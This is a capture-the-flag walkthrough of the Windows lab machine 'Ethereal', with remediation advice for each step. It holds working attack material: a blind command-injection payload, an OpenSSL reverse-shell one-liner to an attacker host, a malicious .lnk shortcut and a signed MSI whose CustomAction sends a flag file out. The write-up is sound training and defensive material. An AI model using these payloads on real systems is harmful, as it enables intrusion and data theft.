← all walkthroughs

Ethereal

Windows· Insane· Privilege Escalation
owned
2026-10-28
time to own
20m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I reached the Windows Server 2016 host ethereal through an anonymous FTP share that leaked an old floppy-disk image containing a DOS-era password manager; cracking its master password recovered valid domain credentials for the user 'alan'. Those credentials unlocked a Basic-Auth network-diagnostic web page on port 8080 whose ping utility was vulnerable to blind OS command injection, giving code execution as alan with no visible output. A double OpenSSL TLS pipe was used to turn that blind injection into a fully interactive shell.

From there, a world-writable shortcuts folder let me hijack a .lnk file that a second user, 'jorge', ran on an automated ~60-second loop, escalating to jorge's context and the first flag. Finally, a maliciously-signed Windows Installer (MSI) package, built to defeat the host's application-control policy and dropped into a folder a third user, 'rupal', periodically tests, executed my commands in rupal's security context the moment it was reviewed — handing over full, root-level control of the box.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <base64_line>, <command>, <token> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1Initial AccessAnonymous FTP data exposure leading to credential recovery (T1552.001)
Recovered a valid user password from a forgotten floppy-disk backup on anonymous FTP
The FTP service accepted anonymous logins and exposed a zipped disk image of an old FAT floppy. Inside was a copy of PasswordBox (pbox), a 1990s-era DOS password manager, along with its encrypted vault file (pbox.dat). The vault's master password turned out to be the word "password", which decrypted a stored credential belonging to the Windows user 'alan'.
FTP service reachable on $TARGET; alan's recovered password was used successfully for subsequent HTTP Basic Auth.
Exact commands 4
shell

Log in as 'anonymous' with any password; browse and download the floppy image zip.

$ ftp $TARGET
shell

Alternative: mirror the whole anonymous FTP tree.

$ wget -m --no-passive ftp://anonymous:anonymous@$TARGET/
shell

Unpack the zip and the FAT floppy image to recover pbox.exe and pbox.dat.

$ unzip floppy_backup.zip && 7z x floppy.img -o./floppy_extracted
shell

Decrypt the PasswordBox vault with the recovered master password "$PASSWORD2" to reveal alan's credential.

$ pbox_crack.py --vault pbox.dat --password $PASSWORD2
FixDisable anonymous FTP and remove legacy credential materialHigh
WeaknessThe FTP service allowed anonymous logins and served a disk image containing a decades-old password manager vault, which an unauthorised user cracked to recover a valid Windows account password.
FixDisable anonymous FTP access entirely and require authentication. Audit all file shares for forgotten backups, disk images, or credential stores and remove them; never store password-manager vaults or their master passwords on systems reachable by unauthenticated users.
2ExploitationOS command injection via unsanitized diagnostic input (CWE-78 / T1059)
Found a blind command-injection flaw in an internal connectivity-test page
Authenticating to the port 8080 web application (virtual host ethereal.htb) as alan exposed a Test-Connection/ping diagnostic page. The target field was passed straight into a shell command on the server. Submitting 127.0.0.1 & <command> via the page's POST request (each request requires a freshly fetched ASP.NET ViewState token) ran arbitrary OS commands as whatever account the web app ran under, with no output returned to the browser.
HTTP 200 returned for -u alan:... -H 'Host: ethereal.htb' http://$TARGET:8080/; subsequent blind-injection chaining into the exfil channel confirmed command execution as alan.
Exact commands 3
shell

Required so the Host header-based vhost resolves.

$ echo "$TARGET ethereal.htb" | sudo tee -a /etc/hosts
shell

Fetch the page and extract the current __VIEWSTATE/__EVENTVALIDATION values from page.html before each POST.

$ curl -sS -c cookies.txt -u "alan:$PASSWORD" -H 'Host: ethereal.htb' http://$TARGET:8080/ping.aspx -o page.html
shell

Blind injection PoC; swap the command for the actual payload (e.g. The double-OpenSSL one-liner in step 3).

$ curl -sS -b cookies.txt -u "alan:$PASSWORD" -H 'Host: ethereal.htb' --data-urlencode '__VIEWSTATE=<token>' --data-urlencode '__EVENTVALIDATION=<token>' --data-urlencode 'txtHost=127.0.0.1 & whoami' -X POST http://$TARGET:8080/ping.aspx
FixEliminate OS command injection in the connectivity-test pageCritical
WeaknessThe ping/Test-Connection feature on the port 8080 web app passed user-supplied host input directly into a server-side shell command, letting an authenticated user run arbitrary commands with no output visible, enabling fully blind remote code execution.
FixNever build shell commands from user input. Use a language-native networking API (e.g. .NET's Ping class) instead of shelling out, and if a shell call is unavoidable, strictly allow-list input to valid IPv4/hostname syntax and pass arguments via an API that avoids shell interpretation entirely (no &, |, ;).
3FootholdLiving-off-the-land binary (LOLBIN) C2 tunnel over TLS (T1572)
Turned the blind injection into an interactive shell over a double OpenSSL TLS tunnel
Because the injection returned no output, I stood up two TLS listeners on my own Kali box and injected a command that chained the target's own OpenSSL binary (C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe, the 8.3 short path dodging the space in "Program Files (x86)") twice: once to pipe stdin from an inbound TLS connection into cmd.exe, and once to pipe cmd.exe's output to a second outbound TLS connection. This gave a full interactive shell as alan despite no direct inbound access and a restrictive egress policy.
ss/ss-style listener confirmed on my port 73 (0.0.0.0:73 LISTEN); subsequent commands executed as 'alan' through this channel.
Exact commands 3
shell

Self-signed cert for the two Kali-side listeners.

$ openssl req -x509 -newkey rsa:2048 -keyout tls.key -out tls.crt -days 365 -nodes -subj '/CN=ethereal'
shell

Stand up TLS listeners on ports 73 (shell input) and 136 (shell output) on my tun0 IP.

$ python3 -c "import ssl,socket; ... " # or: ncat --ssl -lvp 73 ; ncat --ssl -lvp 136
shell

Injected via the ping.aspx POST from step 2; gives an interactive cmd.exe shell split across the two TLS sockets.

$ 127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:136
FixRestrict outbound traffic and monitor for LOLBIN-based tunnelingMedium
WeaknessUnrestricted outbound TLS connectivity let an unauthorised user tunnel an interactive shell out of the network using the host's own signed OpenSSL binary, defeating the lack of a direct reverse-shell path.
FixApply egress filtering so servers can only reach approved destinations/ports, and alert on outbound connections initiated by non-browser LOLBINs (openssl.exe, certutil.exe, etc.) spawning or being spawned by cmd.exe. Consider removing standalone OpenSSL binaries from production servers that don't need them.
4Privilege EscalationWeak folder ACL leading to shortcut (.lnk) hijack (T1547 / LOLBAS abuse)
Hijacked a shortcut in a writable folder to run code as a second user (jorge)
As alan, direct writes to C:\Users\Public were denied, but the subfolder C:\Users\Public\Desktop\Shortcuts had Everyone:Modify permission (only delete/ownership-change were denied). The user 'jorge' ran a scheduled batch loop roughly every 60 seconds that opened a 'Visual Studio 2017.lnk' shortcut from that folder, waited, then reset it from a clean backup. Replacing that shortcut with one that launched the same double-OpenSSL one-liner caused jorge's own loop to execute it, giving a shell as jorge and the first flag.
open-program.bat loop observed opening Visual Studio 2017.lnk from Shortcuts\; a shell returning 'ethereal\jorge' followed, and the user flag was read from jorge's desktop.
Exact commands 4
shell

Build a malicious .lnk with a valid WScript.Shell IDList/LinkInfo structure (pure-Linux .lnk generators are rejected by Windows).

$ # On a real Windows host, via COM:
$ws = New-Object -ComObject WScript.Shell
$lnk = $ws.CreateShortcut('VisualStudio2017.lnk')
$lnk.TargetPath = 'C:\Windows\System32\cmd.exe'
$lnk.Arguments = "/c C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:136"
$lnk.Save()
shell

Base64-encode the .lnk with 76-char line wrapping for reliable transfer over the shell.

$ openssl base64 -in VisualStudio2017.lnk -A | fold -w 76
shell

Write the encoded file line-by-line through the OpenSSL shell.

$ echo <base64_line> >> C:\Users\Public\Desktop\Shortcuts\vs.b64   (repeat per line, via the step-3 shell)
shell

Decode and overwrite the shortcut jorge's loop opens; wait for the next ~60s cycle.

$ C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -d -in C:\Users\Public\Desktop\Shortcuts\vs.b64 -out "C:\Users\Public\Desktop\Shortcuts\Visual Studio 2017.lnk"
FixFix the overly permissive ACL on the shared Shortcuts folderHigh
WeaknessC:\Users\Public\Desktop\Shortcuts granted Everyone Modify rights (only delete/ownership-change were denied), letting a low-privileged user overwrite a shortcut that a higher-privileged user's scheduled process ran automatically.
FixRemove write access for the Everyone/Users group from shared Public folders that automation or other users' scheduled tasks execute content from. Grant only the specific service account that needs to update the shortcut Modify rights, and have automated tasks reference files in a path only administrators can write to.
5Privilege EscalationAppLocker/code-signing bypass via a maliciously signed installer executing an embedded CustomAction (T1218.007 / T1553.002)
Delivered a maliciously-signed MSI to bypass application control and run commands as the final user (rupal)
A third user, 'rupal', periodically reviews and tests software packages dropped into D:\DEV\MSIs. The host enforced AppLocker/Software Restriction Policies requiring installers to be signed by a trusted code-signing certificate, so an initial attempt signed with a certificate chained directly to the internal CA (MyCA) rather than a dedicated code-signing leaf certificate was rejected. A corrected MSI, built with WiX and a proper code-signing certificate chain, embedded a CustomAction ('RootExfil') that ran on install, executing whoami and reading root.txt, with output piped through the same OpenSSL LOLBIN technique to my listener. When rupal's review process ran the MSI, it executed in rupal's own user context — the only context whose per-user EFS key can decrypt rupal's files (a bare SYSTEM shell obtained separately could not read the EFS-encrypted flags).
Msiinfo export of rupal_impersonating_signed.msi (SHA1 <withheld>) showed CustomAction RootExfil (type 1138) running (whoami & type C:\Users\rupal\Desktop\root.txt & dir C:\Users\rupal\Desktop) 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect $ATTACKER_IP:73; the listener subsequently received ethereal\rupal and the root flag.
Exact commands 5
shell

WiX source defining the MSI and its root-exfil CustomAction.

$ cat > rupal_impersonating.wxs <<EOF
<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
 <Product Name='VS2017 Update' Id='*' UpgradeCode='559f8240-b6b3-4e91-b2a5-d1e4bf32a58c' Language='1033' Version='1.0.0' Manufacturer='Microsoft'>
  <Package Description='Visual Studio 2017 Update' InstallerVersion='200' Compressed='yes' />
  <Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
  <CustomAction Id='RootExfil' ExeCommand='/c "(whoami & type C:\Users\rupal\Desktop\root.txt & dir C:\Users\rupal\Desktop) 2>&1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect '"$ATTACKER_IP"':73"' Execute='immediate' Return='ignore' />
  <InstallExecuteSequence><Custom Action='RootExfil' After='InstallFiles' /></InstallExecuteSequence>
 </Product>
</Wix>
EOF
shell

Compile the MSI with the WiX toolset.

$ candle rupal_impersonating.wxs && light rupal_impersonating.wixobj -o rupal_impersonating.msi
shell

Sign with a dedicated code-signing leaf certificate (not one chained directly to the root CA) so AppLocker/SRP accepts it.

$ osslsigncode sign -certs codesign_leaf.pem -key codesign_leaf.key -n 'VS2017 Update' -in rupal_impersonating.msi -out rupal_impersonating_signed.msi
shell

Start the TLS receiver on my side before dropping the MSI.

$ python3 tlsrecv.py 73 root_flag.txt
shell

Via the alan/jorge shell, push the signed MSI into the directory rupal periodically reviews, then wait (do not re-drop) for the automated test to run it.

$ copy rupal_impersonating_signed.msi D:\DEV\MSIs\update.msi
FixHarden code-signing trust and MSI auto-review processCritical
Weakness
FixScope AppLocker publisher rules to specific, dedicated code-signing certificates/thumbprints rather than trusting the whole internal CA chain. Require that any party able to issue certificates from that CA cannot also sign arbitrary installers trusted by AppLocker. Stop auto-executing/testing installers dropped by untrusted or lower-privileged accounts into shared folders; require a manual, authenticated review and signature verification step before any MSI is run interactively by a privileged user.
6Full CompromiseCredential/data exfiltration over an encrypted C2 channel (T1041)
Captured root.txt as rupal, completing full control of the host
When rupal's review process executed the signed MSI's CustomAction, it ran whoami and read root.txt in rupal's own security context, piping the output back through the OpenSSL TLS channel. The TLS listener captured 'ethereal\rupal' and the root flag, confirming full compromise of the box.
Listener output: 'ethereal\rupal' followed by the root flag content and a directory listing of rupal's Desktop.
Exact commands 1
shell

Read the captured output from the TLS receiver once the MSI's CustomAction fires.

$ cat root_flag.txt